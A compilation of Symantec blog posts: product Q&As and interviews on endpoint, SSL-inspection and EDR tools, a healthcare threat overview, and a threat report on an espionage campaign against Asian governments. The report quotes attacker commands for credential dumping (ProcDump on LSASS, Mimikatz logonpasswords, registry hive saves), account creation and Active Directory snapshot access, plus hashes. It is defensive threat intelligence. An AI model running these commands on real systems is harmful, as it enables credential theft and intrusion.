A: Administrators get enhanced prevention capabilities in the form of greater visibility through higher level detections. To put it simply, the high-intensity detection feature ensures that you don’t disruptively block any new files without understanding their behavior, risk, and so on. It also enables you to retain maximum visibility on the new detected files.
Q: How does it work?
A: SPE performs detections at a certain level and blocking at a different level. The HID feature controls the aggressiveness or intensity of the threat detection technologies in the product. SPE identifies the detection level at which the threat is detected, and this information is logged before SPE takes the configured action on the file.
Q: Another cool change: SPE will now allow or deny files according to their Hash. What does the change mean in practice?
A: SPE has always provided the ability to allow or deny files based on their file name, true type, and file size to protect a network during an outbreak. In SPE 8.2, if you know the SHA256 Hash of a file you can filter the file by its hash and block the infected files. Likewise, if you know the SHA256 Hash of a file you wish to exclude from scanning operations you can simply add it to the allow list to provide access to the file. Having the ability to target these files using one of the most secure hashing functions on the market allows us to ensure a higher level of malware prevention via this feature and can help reduce unwanted blocking and deletions based on more generalized methods.
One of the key themes in SPE 8.2 was to allow greater parity with our native and cloud consoles – in fact, this was the most requested feature from our customers.
Q: The 8.2 release expands platform support in a single version. What’s behind the change?
A: Our previous releases supported Windows and Linux platforms in a single version but 8.1 was only available for Linux where it contained dissimilar Symantec security components and features. We hadn’t combined all platforms in this version to allow the customer to choose their preferred operation system without sacrificing features. So, 8.2 will support Windows 2019 Server as well as Linux 8.x and CentOS 8.x. All that translates into platform choice for the customer, while ensuring that the platform used is the latest available while ensuring a higher level of efficacy for current threats.
Q: The updates also include several centralized cloud console enhancements. Talk about how this impacts visibility and management?
A: One of the key themes in SPE 8.2 was to allow greater parity with our native and cloud consoles – in fact, this was the most requested feature from our customers.
Just off the top, we’ve added new policy attributes to the cloud console user interface in the areas of anti-malware settings, archive handling settings, log and tag settings, deny settings and allow settings. Also, we’ve made it simpler to manage assets through a single view with enhancements such as the management of scanner groups and a centralized view of events. There are other details you can find in our spec sheets, but the point is that we’re going to continue to make further improvements as we continue our journey to achieve centralized management in a single console for SPE products for our customers.
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New Urgency in Healthcare to Combat 4 Emerging Security Threats
Increasingly sophisticated digital thieves are stepping up their efforts to steal valuable health-related data
Symantec’s 2018 Internet Security Threat Report (ISTR), which highlights an array of new and emerging threats across all sectors, takes on even greater urgency for organizations in the healthcare industry.
The rapid adoption of digital systems—everything from electronic health records and tablet computers to interconnected medical devices and industrial control systems (ICS)—has created a broad attack surface with countless opportunities for adversaries.
At the same time, health-related data—which includes not just patient data but also financial data, clinical research and intellectual property—is an appealing target by malicious actors.
Unfortunately, the growing complexity of the health IT environment dovetails with the growing sophistication of today’s cyber threats. For this reason, we have leveraged Symantec’s 2018 ISTR and other third-party data to develop a document that highlights four threat trends that will put healthcare organizations at increasing risk in the year ahead, including:
Software Supply Chain Attacks
A supply chain attack exploits the network of an organization’s suppliers. With its high degree of reliance on business associates and partners, this is especially concerning to healthcare providers. Rather than going after a provider directly, a hacker looks for a backdoor—a vulnerability in the systems of a partner that is either connected with or supplies software to that organization.
These attacks work by exploiting the assumption of trust on which supply chains are built, with little defense provided against threats emitting from organizations working within the chain. For example, in January 2018, Hancock Health, in Greenfield, Ind., was hit by the SamSam ransomware. The attacker used compromised credentials of a backup system hardware vendor, infiltrating the backup site first, then penetrating the hospital’s main data center.
In other cases, a hacker implants a piece of malware into an otherwise legitimate software package at its usual distribution location—an effective method for distributing malware into an otherwise well-guarded network.
Supply chain attacks are not new in healthcare. In 2012, the web server of a medical device maker was infected with dozens of viruses, which healthcare providers would download along with device software updates. But these attacks are now happening with increasing frequency, with the 2018 ISTR reporting a 200 percent increase across all sectors for the calendar year 2017.
Internet of Things (IoT) and ICS Attacks
Recent years have brought a convergence of IT and physical environments, with a growing range of non-traditional endpoint devices being connected to the network. Those endpoints—whether medical devices or HVAC systems—often lack mature security measures, leaving them vulnerable to attacks.
These vulnerabilities are of concern to hospitals, where service disruptions can have a direct impact on patients. While losing water service might be an inconvenience in many work environments, it can be deadly in a hospital. Likewise, network connectivity is essential to various devices used to manage and deliver patient care.
Protecting medical devices is especially challenging, given the wide-range of technology involved, from bedside monitors and wearable devices to portable or even room-filling diagnostic equipment, as well as homecare systems. The response to an incident involving medical devices—especially those used at the point of care—must be carefully orchestrated out of concerns for patient care, and that gives any malware more time to proliferate.
As convergence continues to accelerate, these systems and devices are becoming attractive targets for hackers and cyber adversaries. We saw a 600 percent increase in attacks on IoT and a 29 percent in ICS attacks. And in June 2018, the FBI issued a private industry notification about recently attempted cyber attacks on networked ICS/supervisory control and data acquisition (SCADA) systems.
Ransomware Attacks
Ransomware was a major issue in 2017 across the public and private sectors, with several high-profile, high-impact attacks involving WannaCry and Petya/NotPetya.
Hospitals take different paths on how they’ve responded to these attacks. For example, Hancock Health was hit by SamSam, and ended up meeting the ransom demand, which was approximately $55,000. While Erie County Medical Center (Buffalo, N.Y.), which was hit by SamSam in April 2017, decided not to meet the demand. It would take 12 days to restore limited system access and six weeks to restore full access.
In general, the news was not all bad. Excluding WannaCry and Petya/NotPetya, ransomware detections remained consistent with the previous year at 1,242 a day. And while WannaCry managed to create great havoc, it was not unstoppable: Symantec blocked more than 5.4 billion WannaCry attacks globally…proof that with appropriate processes and technologies in place even new attack vectors can be prevented.
While the average ransomware cost has been dropping due to an overcrowded market, the dynamics might be a little different in healthcare. The life-and-death nature of hospital operations keep ransoms higher than in other sectors, according to the Center for Internet Security. Not only that, but hospitals might find themselves targeted specifically by ransomware attacks, rather than just caught up in the more scattershot attacks seen in other industries, as the attacker may want to benefit from a hospital’s need to restore care delivery as soon as possible.
Crypto-Mining and Crypto-Jacking Malware
Crypto-mining and crypto-jacking attacks are an emerging threat that saw a surge late last year and that bears watching. The threat is more subtle than with other forms of malware, but no less real—especially for healthcare providers.
While still a nascent field, crypto-mining and crypto-jacking are growing rapidly and seem to be overtaking ransomware as the favored money-making scheme of cyber criminals.
Rather than seeking to disrupt or destroy systems, as other malicious actors might do, so-called “miners” simply want to hijack an organization’s processing power to support the computing effort required to verify transactions of Bitcoin or other cryptocurrencies. Practically speaking, however, mining activity can create a drag on performance on systems or networks or may even lead to system failure.
As noted earlier, medical systems and devices require high availability. For example, in the case of a medical device or other devices with low security maturity, a momentary glitch in performance could disrupt transmission of vital data or disrupt a critical device function.
Privacy concerns around patient data add another layer of complexity to the risk posed by miners. Late last year, Decatur County General Hospital discovered that a miner was using its electronic health record system. Because the adversary gained access to a system that managed patient health data, the hospital had to notify 24,000 current and former patients of the breach.
While still a nascent field, crypto-mining and crypto-jacking are growing rapidly and seem to be overtaking ransomware as the favored money-making scheme of cyber criminals.
These four threats, analyzed in greater depth in the 2018 ISTR, represent just a few of the challenges facing the healthcare industry. Given the complexity of today’s healthcare environment, and the increasing sophistication of our cyber adversaries, we are likely to see new, even more insidious threats emerge in the coming months and years.
If you found this information useful, you may also enjoy:
Cyber Security and Healthcare: An Evolving Understanding of Risk
2018 Internet Security Threat Report
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New Version of SSLV Appliance Sets Enterprise Standard for Decryption
Leading Encrypted Traffic Management solution enables on-premises infrastructure to keep pace with the growth in SSL/TLS data traffic
Among the ongoing trends is the growth in data traffic over enterprise networks. The “new normal” of vast numbers of people working remotely have made them increasingly dependent on the internet and cloud applications to remain productive. This is fostering a boom in cloud-delivered security solutions, but it’s also increasing the demand for high performance, data center tools for companies that prefer a hybrid infrastructure.
The importance of performance for both on cloud and edge alike is compounded by the ever-increasing pervasiveness and complexity of encryption. With an increasing amount of SSL/TLS traffic going through data centers, it is imperative that on-prem security devices keep up. A proven way to provide scale for SSL/TLS inspection is with a purpose-built device that sits between the client and server which decrypts traffic, feeds all inspection tools, and re-encrypts it at the same strength.
Today, I’m happy to share that Symantec, as a division of Broadcom, is releasing a new version of our industry-leading SSL Visibility Appliance to supply the powerful network information security tool needed to provide this enhanced level of encrypted communications.
In conjunction with the announcement, I recently sat down with Kevin Hohenbrink, product manager for the Symantec SSL Visibility Appliance. We spoke about the newest model and how it benefits our customers and enterprises everywhere. Here are some excerpts from our conversation:
TM: I saw that there was some exciting news about the SSL Visibility Appliance coming out with a new model. But before we get into that, what does the SSL Visibility Appliance - or what we call “SSLV” - do for our customers?
KH: That’s a great question! The SSL Visibility appliance portfolio is a very comprehensive, extensible solution for ensuring very high-security encryption communications. While other vendors only support a handful of cipher standards, the SSL Visibility Appliance portfolio provides timely and complete standards support, with up to 100 Cipher Suites, including RSA, Diffe-Hellman (DHE), Elliptic Curve (ECDHE), and more, as well as all the official internet standards for high security encrypted communications from TLS 1.1 to the most recent protocol, TLS 1.3, which SSLV was the first to support without downgrading.
Today, I’m happy to share that Symantec, as a division of Broadcom, is releasing a new version of our industry-leading SSL Visibility Appliance to supply the powerful network information security tool needed to provide this enhanced level of encrypted communications.
TM: The SSL Visibility Appliance has been managing encrypted traffic for years and has really led the pack. I just happened to look at the latest Data Sheet that you guys posted and there’s a new version. So, tell us about that and why is it significant?
KH: We’re introducing a new platform, the SV-S550-20. Its performance has effectively doubled for Inspected Throughput of up to 20-Plus Gbps along with dramatic improvements in our 4K key sizes up to 24,000 handshakes. What drove the introduction is the market continuing to see growth in the volume of encrypted traffic and our customers upgrading their network infrastructure to accommodate this with faster network pipes beyond 10 Gbps. They have upgraded to 40-to-100 Gbps network infrastructure. In addition, the market is also moving to larger key sizes like RSA 4K certificates which require greater performance.
We’ve increased the port density and the network connectivity to address customers upgrading to larger network sizes with up to 20-by-10 Gb network interface cards, up to 10-by-40 Gb ports, and 2-by-100 NIC option cards for the Appliance. We’ve also increased the Concurrent SSL Flows with a custom QAT, which is Intel’s Quick Assist Technology. QAT is a hardware assist to help with increasing the Concurrent SSL Flows. We could support up to 2.5 million Concurrent Flows, which is about a 2-1/2 times increase over the previous platforms.
TM: I heard you mention 20 Gbps and that is just a massive amount of throughput. So, this addition to the SSLV portfolio is not for your typical donut shop- but instead for a bigger customer. So, tell us who are the types of customers who would be looking for this extensive capability?
KH: Large financial institutions; federal, local, and state governments; and healthcare customers are common customers for SSLV. They have a need for an on-prem solution that delivers on higher performance as they’ve seen significant growth in TLS and SSL traffic as well as a need for greater port density as they continue adding security tools to their traffic management and their forensics infrastructure.
TM: SSLV has always supported non-Symantec products as well, which I always thought was compelling. Does the new model continue to support non-Symantec network security tools?
KH: Yes, we continue to support 3rd party as well as Symantec products. We recognize that customers have multiple devices. The new solution, just like the existing portfolio, feeds active and passive devices simultaneously and complements the existing security solutions, such as DLP, IPS, NextGen FireWalls, and sandboxing, as well as our own proxy.
A proven way to provide scale for SSL/TLS inspection is with a purpose-built device that sits between the client and server which encrypts traffic, feeds all inspection tools, and re-encrypts it at the same strength.
TM: That’s great! Another thing I noticed on the data sheet – among the big numbers you’re throwing out there -- is the amount of SSL decryption it can do on behalf of a proxy or “off-loaded” from a proxy, and the throughput is different for a standard scenario. Can you explain why that is?
KH: For proxy segments, the SSL Visibility Appliance needs to handle effectively two sessions: one for each side (client vs. server) of the proxy versus a classic segment that only handles a single session for a client-to-server connection. So, think in terms of the 20-Gb number we talked about earlier. It’s cut in half because you’re handling two sessions, one for each side of the proxy. That’s why the performance is different in a proxy off-load.
TM: It’s great that we can do that for the proxy. I know a lot of customers appreciate that flexibility. It’s not just any proxy, right? Does this work for non-Symantec proxies?
KH: Because of the signaling we use, it does not. We have a proprietary protocol that informs the proxy that an upstream TLS decryption is being performed. This ensures that the proxy will not initiate outbound requests assuming decrypted destinations. It ensures that cookies and alike are not sent out in the clear for operations like cache refresh and proxy prefetch operations.
TM: Right. So, one more question. The new model is running our 5.x series of software. Can existing customers who don’t have that hardware upgrade to the 5.x or are they stuck on 4.x still?
KH: The 5.2x software version introduced with the new SSL S550-20 only runs on the new S-Series hardware. We will continue to maintain the 4.5 branch of software that runs on the SV800, SV1800B, SV2800B, SV3800B and SV3800B-20 models. At some point in the future, when we have replacement models, we’ll have solutions for those models.
TM: Great!
In closing, I’d like to point out that at Symantec we see a growing number of our customers accelerating their move to the cloud. Despite this, the overwhelming majority of our largest enterprises -- nearly all, in fact -- have a strong on-premises infrastructure presence.
For this reason, it’s vitally important to look at the new SSLV platform. For those customers who find that their existing platform is fast reaching capacity, especially if SSL/TLS traffic is growing, it’s important to consider migrating. The good news is that the new platform is already data-tested and ready for release. It offers you the same value that has made the SSLV portfolio the gold standard in encryption technology. It assures you of the highest security encryption without any downgrading. That’s the value you will only find with the Symantec SSL Visibility Appliance.
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New Visibility Features in Symantec Endpoint Detection and Response (EDR)
A rising number of cyber attacks exploit common blind spots in enterprise infrastructures. The new Symantec EDR toolset is a strong defense against attackers
Cyber security is a relentless, high-stakes game of cat-and-mouse. And nowhere is this more true than in the realm of endpoint security. As enterprises have ramped up their investment in tools like endpoint protection platforms (EPP) and endpoint detection and response (EDR) solutions, cyber criminals have kept pace. Forced to find new ways to launch attacks, they are evolving, adapting, and developing ever more sophisticated attack strategies.
A principal attack strategy is to identify and target common blind spots in enterprise security infrastructures. Many of Symantec’s recent strategic investments in security products and services target attacker efforts to exploit these exact blind spots. Symantec, a division of Broadcom (NASDAQ: AVGO), added new capabilities to its EDR portfolio, raising its investment in advanced levels of protection.
These new tools are available as features in our flagship Symantec Endpoint Security Complete (SESC) product. Our foundational security product platform, SESC is designed to address security issues and the MITRE attack chain the only way that makes sense: holistically. SESC provides that holistic perspective while its individual tools and features address each of the different links in the attack chain from threat prevention early in the cycle to quickly detecting breaches and disabling attacks in progress.
The majority of the new features focus specifically on solving for three of the most common and potentially dangerous blind spots that we see across a majority of organizations. These three areas are:
Trusted tools and applications
Unprotected Active Directory (AD)
Late discovery of breaches
Ending “Living Off the Land” Attacks
Trusted tools and apps are legitimate applications, dual-use tools and scripts that are almost impossible to avoid running in any organization. For example, virtually every organization uses Microsoft Office and PowerShell to drive worker productivity and routine Windows task automation. Along with third-party applications like Adobe Reader and Acrobat, they are so commonly used that they are practically ubiquitous, and as a consequence, default-trusted in the workplace.
In the colorful language of cyber security, attacks that use these commonly available, pre-installed tools are referred to as “living off the land” attacks. In other words, the attacker is using an organization’s own technology (land) to gain access to its most valuable data, financial, and other resources.
A major problem is that it’s been very difficult to see into what these apps and their scripts are doing after they are executed and go into the system’s memory. SESC addresses that blind spot by using a Microsoft technology called Antimalware Scan Interface (AMSI) as basically an “eyehole” to see into scripts running on an endpoint, such as PowerShell or Microsoft Office macros. Our Symantec agent collects that data and makes it searchable to uncover malicious scripts.
A Malicious PowerShell script is decoded by AMSI, associated with MITRE ATT&CK techniques, and correlated with other activities
Preventing the Chief Source of Ransomware
Most organizations have their endpoints connected to Active Directory. A lot of information is accessible through that, but especially information around credentials and privileged accounts that can be used to move laterally across an organization and access its most valuable resources. When attackers attempt to access this data, many of their activities are recorded by Microsoft via a technology called Event Tracing for Windows (ETW). For example, ETW can record an event if a remote desktop connection is being established from a compromised endpoint. The problem has been that ETW is another data source that has to be correlated with all of the other activities recorded by the agent. Our SESC agent closes that blind spot – and with it, the number one source of all successful ransomware attacks -- by tapping into that additional data feed and automatically correlating it with all activities related to an attack.
A discovery technique logged by ETW is shown in the Symantec EDR 4.5 console
Additionally, SESC’s Threat Defense for Active Directory prevents, not just detects, lateral movement of attackers using credential theft. It’s able to do this by obfuscating account credentials in the endpoint’s memory so the attacker is misled. Subsequently, their process is automatically blocked to contain the attack.
The attacker’s command shell is automatically isolated after they attempted to run a process using stolen credentials.
Cutting Through the Noise
If an organization does suffer a breach, nothing is more important than to identify that fact as soon as possible. To help with that task many organizations have deployed a rising number of security tools. The problem is that the more security tools, the more alerts. The result is that SOC analysts are being fire-hosed with way too many data streams for their limited time and resources.
SESC closes this third major blind spot. Using advanced machine learning techniques, SESC’s Threat Hunter looks for unusual behavior and alerts our own experts here at Symantec when it does. Symantec threat hunters then immediately notify the organization’s SOC, dramatically reducing the response time to repair the breach.
We’ve Got Your Back
Taken together, these enhancements to SESC bring a new level of comprehensive security by eliminating the common blind spots in most enterprise security infrastructures. But these enhancements are not alone. We are also constantly adding new features to SESC, such as Granular Activity Recorder Rules, to help analysts and system administrators collect data even more efficiently and eliminate unnecessary event noise.
Granular Activity Recorder Rules in Symantec EDR 4.5
Another recently added feature allows you to block non-executable scripts, documents, and other files – closing if not exactly a blind spot, but another major gap in the response mechanisms contained in many EDR products.
All of these features are included within Symantec Endpoint Security Complete, the core of our defense in-depth strategy and the foundation upon which we will continually innovate. All built into a single agent and a single platform. From prevention to detection to augmenting your own security resources, in this relentless high-stakes game of cyber security cat-and-mouse: We’ve got your back.
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New Wave of Espionage Activity Targets Asian Governments
Governments and state-owned organizations are the latest targets of a well-established threat actor.
A distinct group of espionage attackers who were formerly associated with the ShadowPad remote access Trojan (RAT) has adopted a new, diverse toolset to mount an ongoing campaign against a range of government and state-owned organizations in a number of Asian countries. The attacks, which have been underway since at least early 2021, appear to have intelligence gathering as their main goal.
Targets
The current campaign appears to be almost exclusively focused on government or public entities, including:
Head of government/Prime Minister’s Office
Government institutions linked to finance
Government-owned aerospace and defense companies
State-owned telecoms companies
State-owned IT organizations
State-owned media companies
Tools
A notable feature of these attacks is that the attackers leverage a wide range of legitimate software packages in order to load their malware payloads using a technique known as DLL side-loading. Usually, the attackers used multiple software packages in a single attack. In many cases, old and outdated versions of software are used, including security software, graphics software, and web browsers. In some cases, legitimate system files from the legacy operating system Windows XP are used. The reason for using outdated versions is that most current versions of the software used would have mitigation against side-loading built-in.
DLL side-loading is a well-known technique that involves attackers placing a malicious DLL in a directory where a legitimate DLL is expected to be found. The attacker then runs the legitimate application themselves (having installed it themselves in most cases). The legitimate application then loads and executes the payload.
Once a malicious DLL is loaded by the attackers, malicious code is executed, which in turn loads a .dat file. This file contains arbitrary shellcode that is used to execute a variety of payloads and associated commands in memory. In some cases, the arbitrary shellcode is encrypted.
The attackers also leverage these legitimate software packages to deploy additional tools, which are used to further aid in lateral movement. These tools include credential dumping tools, a number of network scanning tools (NBTScan, TCPing, FastReverseProxy, and FScan), and the Ladon penetration testing framework.
Attacks usually unfold in the following manner:
Once backdoor access is gained, the attackers use Mimikatz and ProcDump to steal credentials. In some cases, the attackers dump credentials via the registry.
They then use network scanning tools to identify other computers of interest, such as those running RDP, which could facilitate lateral movement.
They leverage PsExec to run old versions of legitimate software, which are then used to load additional malware tools such as off-the-shelf RATS via DLL side-loading on other computers on the networks.
The attackers also use a number of living-off-the-land tools such as Ntdsutil to mount snapshots of Active Directory servers in order to gain access to Active Directory databases and log files. The Dnscmd command line tool is also used to enumerate network zone information.
Case Study: An unfolding attack
In April 2022, the attackers targeted a government-owned organization in the education sector in Asia and managed to stay on its network until July. During the period of the compromise, the attackers accessed computers hosting databases and emails and eventually made their way to the domain controller.
The first sign of malicious activity occurred on April 23, when a malicious command was executed via imjpuex.exe (SHA256: fb5bc4baece5c3ab3dabf84f8597bed3c3f2997336c85c84fdf4beba2dcb700f). The file imjputyc.exe is a legitimate Windows XP file that was used by the attackers to side-load a malicious DLL file (imjputyc.dll), which in turn was used to load a .dat file (payload - imjputyc.dat). Following this activity, imjputyc.exe was used to launch a network service via svchost.exe, likely created by the malicious payload.
CSIDL_SYSTEMX86\svchost.exe NetworkService 7932
Additionally, around the same time, the attackers leveraged Imjpuex.exe to install and execute an eleven-year-old version of Bitdefender Crash Handler (file name: javac.exe, SHA256: 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd). While Crash Handler was used for side-loading in this attack, it is just one of many old versions of applications that have been used by this group in recent months.
The same Crash Handler executable was copied to CSIDL_SYSTEM_DRIVE\xampp\tmp\vmware.exe and executed.
The attackers then installed and executed ProcDump in order to dump credentials from the Local Security Authority Server Service (LSASS):
p.exe -accepteula -ma lsass.exe lsass2.dmp
The attackers then launched several command prompts while reloading Crash Handler. This was likely done in order to install additional tools.
Shortly afterwards, a file called calc.exe (SHA256: 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9) appeared on the machine and was executed by the attackers. This was a renamed version of Mimikatz that the attackers then used to dump credentials:
calc.exe ""privilege::debug"" ""sekurlsa::logonpasswords full" " exit "
On April 26, further malicious activity occurred when the attackers ran the Crash Handler executable and installed a file called cal.exe (SHA256: 12534f7014b3338d8f9f86ff1bbeacf8c80ad03f1d0d19077ff0e406c58b5133) on the compromised machine.
This file was LadonGo v3.8, a publicly available penetration testing framework that is written in Go. The attackers appear to have used LadonGo to scan the internal network for machines with RDP services running and attempted to exploit or log in to those machines using the credentials they stole several days earlier. There was also some evidence of brute-force login attempts against machines of interest.
On May 6, the attackers resumed their attack and ran the Crash Handler executable (this time named svchost.exe) and installed a new variant of Mimikatz named test.exe (SHA256: 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9). This was likely done in order to obtain more credentials. The attackers then ran LadonGo and attempted to exploit a Netlogon vulnerability (CVE-2020-1472) against two other computers in the organization in order to elevate privileges.
On May 16, the attackers increased their level of activity and began moving laterally across the organization’s network from the initially compromised computer (Computer #1).
On a second computer (Computer #2), the attackers launched a command prompt and executed a variant of Mimikatz (file name: test.exe, SHA256: 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9). The attackers then deployed a number of Knowledge Base files (e.g. kb0394623.exe) on the computer. These files are legitimate copies of the Windows command prompt (with 16 bytes of the rich header modified).
On a third computer (Computer #3) the attackers used PsExec to execute the same older version of Crash Handler used on Computer #1, this time named javac.exe. A copy of this executable was then made to csidl_program_files\windows mail\winmailservice.exe and was executed.
The attackers then ran dnscmd.exe (SHA256: 67877821bf1574060f4e45ab8be62e28f54fb40a23ce70b86a6369a4d63db5bc), which was used to enumerate DNS configuration information on the compromised computer:
Dnscmd . /EnumZones
Dnscmd is a Microsoft command-line tool for managing DNS servers. It can be used to script batch files to help automate routine DNS management tasks or to perform routine setup of new DNS servers. The enumzones command is used to list the zones that exist on the specified DNS server. If no filters are specified, a complete list of zones is returned.
Crash Handler was then used to install imjpuex.exe in the csidl_common_appdata\veritas directory which in turn was used to side-load a DLL file of the same name and load a .dat file to execute an unknown custom payload.
Shortly after this, the attackers attempted to list the records of multiple specific zones by specifying the domain on the command line:
Dnscmd . /ZonePrint [REDACTED_DOMAIN]
On a fourth computer (Computer #4), the attackers used PsExec to execute Crash Handler (this time named test.exe). They then installed and executed two KB files in the %TEMP% directory.
• SHA256: 5c4456f061ff764509a2b249f579a5a14d475c6714f714c5a45fdd67921b9fda
• SHA256: ded734f79058c36a6050d801e1fb52cd5ca203f3fd6af6ddea52244132bd1b51
Again, both of these files were modified versions of the Windows command prompt.
On May 17, the attackers deployed several more modified Windows command prompt applications on Computer #4. They also deployed the side-loading technique on Computer #5 to execute the legitimate svchost.exe application, possibly to facilitate some process injection.
On May 19, the attackers returned to Computer #5 and used svchost to launch NetworkService. The attackers then used a variant of Mimikatz named calc.exe, which was previously used earlier in the attack (SHA256: 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9). Mimikatz was used to dump credentials from the compromised host.
On May 24, the attackers turned their attention to Computer #3, using PsExec to execute the whoami command and determine the currently logged-in user. They then ran an unknown batch file name t.bat via PsExec.
It is likely the following commands were executed from this script in order to create a new user account:
net user [REDACTED]
CSIDL_SYSTEM\net1 user [REDACTED] Asd123.aaaa /add
net localgroup [REDACTED] [REDACTED]/add
CSIDL_SYSTEM\net1 localgroup [REDACTED] /add
CSIDL_SYSTEM\net1 user [REDACTED] Asd123.aaaa /add
The script uses net.exe to check if a specific user account already exists. It then attempts to create a user account with the password Asd123.aaaa and add it to the local group on the machine. Several minutes later, the task manager was launched followed by a command prompt. The attackers then ran the following command to mount a snapshot of the active directory server.
ntdsutil snapshot "mount c2b3e2c6-1ffb-4625-ba8e-3503c27a9fcb" quit quit
These snapshots contain sensitive information such as the active directory database (i.e. user credentials) and log files. The string c2b3e2c6-1ffb-4625-ba8e-3503c27a9fcb is the index number of the snapshot.
The attackers then moved to Computer #5, where they used ProcDump (file name: p.exe, SHA256: 2f1520301536958bcf5c65516ca85a343133b443db9835a58049cd1694460424) to dump credentials from LSASS:
p.exe -accepteula -ma lsass.exe lsass2.dmp
On May 26, the attackers returned to Computer #1 and executed a file called go64.exe. This file was a copy of Fscan. The attackers ran the following command to mass scan for any machines within the compromised network (specifically a class C scan against machines in the IP range 10.72.0.0 → 10.72.0.255) with RDP services:
go64.exe -h 10.72.0.101/24 -pa 3389
There is also evidence that the attackers leveraged Fscan in order to perform exploit attempts against other machines on the network, including leveraging one of the ProxyLogon vulnerabilities (CVE-2021-26855) against an Exchange Server. Suspicious SMB activity also occurred around this time, suggesting the attackers may have also leveraged other exploits (likely EternalBlue) against any open SMB services.
On June 6, the attackers ran PsExec on Computer #3 to launch the previously used old version of Crash Handler (file name: winnet.exe) from the %USERPROFILE%\public\ directory.
They ran the Dnscmd utility again to enumerate all available zones, before executing winnet.exe again and a copy of Crash Handler located at APPDATA%\t.exe to load additional malicious payloads (likely used to install ProcExplorer):
Dnscmd . /EnumZones
"CSIDL_COMMON_APPDATA\t.exe"
Several hours later, ProcExplorer (64-bit) was launched:
"CSIDL_PROFILE\desktop\processexplorer\procexp64.exe"
The last known malicious activity occurred on July 8 on Computer #3. The system hive file was dumped from the registry in order to dump user credentials.
reg save HKLM\SYSTEM system.hiv
Payloads
While this group of attackers was previously using ShadowPad, it has since moved on and has been deploying a range of payloads.
One of the payloads used was a previously unseen, feature-rich information stealer (Infostealer.Logdatter), which appeared to be custom built. Its capabilities included:
Keylogging
Taking screenshots
Connecting to and querying SQL databases
Code injection: Reading a file and injecting the contained code into a process
Downloading files
Stealing clipboard data
Other payloads used by the attackers included:
PlugX/Korplug Trojan
Trochilus RAT
QuasarRAT
Ladon penetration testing framework
Nirsoft Remote Desktop PassView: A publicly available tool that reveals the password stored by the Microsoft Remote Desktop Connection utility inside .rdp files
A Simple Network Management Protocol (SNMP) scanning tool
Fscan: A publicly available intranet scanning tool
Nbtscan: A command-line tool that scans for open NETBIOS name servers
FileZilla: A legitimate FTP client
FastReverseProxy: A reverse proxy tool
WebPass: A publicly available password collection tool
TCPing: A publicly available tool that enables pings over TCP
Various process dumpers
Various keyloggers
A number of PowerSploit scripts
Links to earlier activity
ShadowPad is a modular RAT that was designed as a successor to the Korplug/PlugX Trojan and was, for a period of time, sold on underground forums. However, despite its origins as a publicly available tool, it has since been closely linked to espionage actors. The tool was only sold publicly for a very short period of time and it is believed that it was only sold to a handful of buyers.
There is limited evidence to suggest links to past attacks involving the Korplug/PlugX malware and to attacks by a number of known groups, including Blackfly/Grayfly (APT41) and Mustang Panda. For example, the attackers leveraged a legitimate file called HPCustParticUI.exe, which was developed by HP for digital imaging applications. This previously occurred in attacks involving Korplug/Plug X. Furthermore, the attackers used a file called hpcustpartui.dll as a likely loader. The same loader was used in a long-running campaign involving Korplug/Plug X targeting the Roman Catholic Church.
The current campaign uses a legitimate Bitdefender file to side-load shellcode. This same file and technique were observed in previous attacks linked to APT41. We have also observed the same keylogging tool deployed in previous attacks against critical infrastructure in South East Asia.
The use of legitimate applications to facilitate DLL side-loading appears to be a growing trend among espionage actors operating in the region. Although a well-known technique, it must be yielding some success for attackers given its current popularity. Organizations are encouraged to thoroughly audit software running on their networks and monitor for the presence of outliers, such as old, outdated software or packages that are not officially used by the organization.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
Legitimate applications abused for side-loading
386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd – Bitdefender Crash Handler (2011)
Loaders
1a95c0b8046aafa8f943bd6b68f3de550177f8df8c382f12468c4dcb416b12bc – log.dll
138c82c81ed7b84378a821074c88157c489d29d5ef66080baea88f5de0e865e6 – log.dll
704e6eb9bded6d22feab88fa81e6b0b901bee7a451a290c20527c48c235ebf52 – breakpad.dll
7a25b21df9fa93a694f15d18cd81c9f9be6fc078912924c91c645f75a5966881 – breakpad.dll
1d6aabf2114f9e6367b515d4ebfc6e104511ff4b05bd51a56fa52070c1d40e25 – breakpad.dll
5bedd1b05879b900b60a07abc57fab3075266ee7fa72385ced582699a51f1ec7 – breakpad.dll
49c23a187810edd3c16689ee1766445ec49a7221507dbe51e7b5af8ec46a91ee – breakpad.dll
e51fc50defd89da446ddc0391e53ace60b016e497c5cb524fd81efdeadda056d – breakpad.dll
Payloads
2237e15b094983a79f60bc1f7e962b7fb63aae75cbf5043ee636be4c8fdb9bee – Korplug
b7f6cf8a6a697b254635eb0b567e2a897c7f0cefb0c0d4576326dc3f0eb09922 – Korplug
1c7e2d6ae46ff6c294885cb7936c905f328b303d6f790b66d7c4489f284c480a – QuasarRAT
c3ae09887659cde70d636157c5a0efd36359efdfb2fe6a8e2cdd4e5b37528f51 – TrochilusRAT
Additional tools
fa7eee6e322bfad1bb0487aa1275077d334f5681f0b4ede0ee784c0ec1567e01 – NBTScan
d274190a347df510edf6b9a16987cea743d8df0e4c16af10787a31f0fec66da2 – NBTScan
20c767d32304ed2812ed8186dc14ddaaae581481c6dee26447a904fcaa67db2a – NBTScan
cf5537af7dd1d0dbb77e327474aa58b2853cb1a1d4190991ac3d9ca40b7841aa – NBTScan
df9a2471c23790a381e286bb96ea3401b94686b7ca067297a7920a76a7202112 – Loader
05fb86d34d4fa761926888e5347d96e984bbb1f3b693fe6c3ab77edb346f005b – FScan
aba3e885768a6436b3c8bc208b328620f001c63db7a3efe6142e653cdf5dfbf7 – FScan
0f81c3850bc82a7d1927cf16bfad86c09414f8be319ef84b44a726103b7d029d – Powerview
9f04c46e0cdaa5bce32d98065e1e510a5f174e51b399d6408f2446444cccd5ff – TCPing
12534f7014b3338d8f9f86ff1bbeacf8c80ad03f1d0d19077ff0e406c58b5133 – Ladon
23d0eff3c37390d38e6386a964c88ac2dafbace92090a762ae9e23bd49510f09 – WebPass
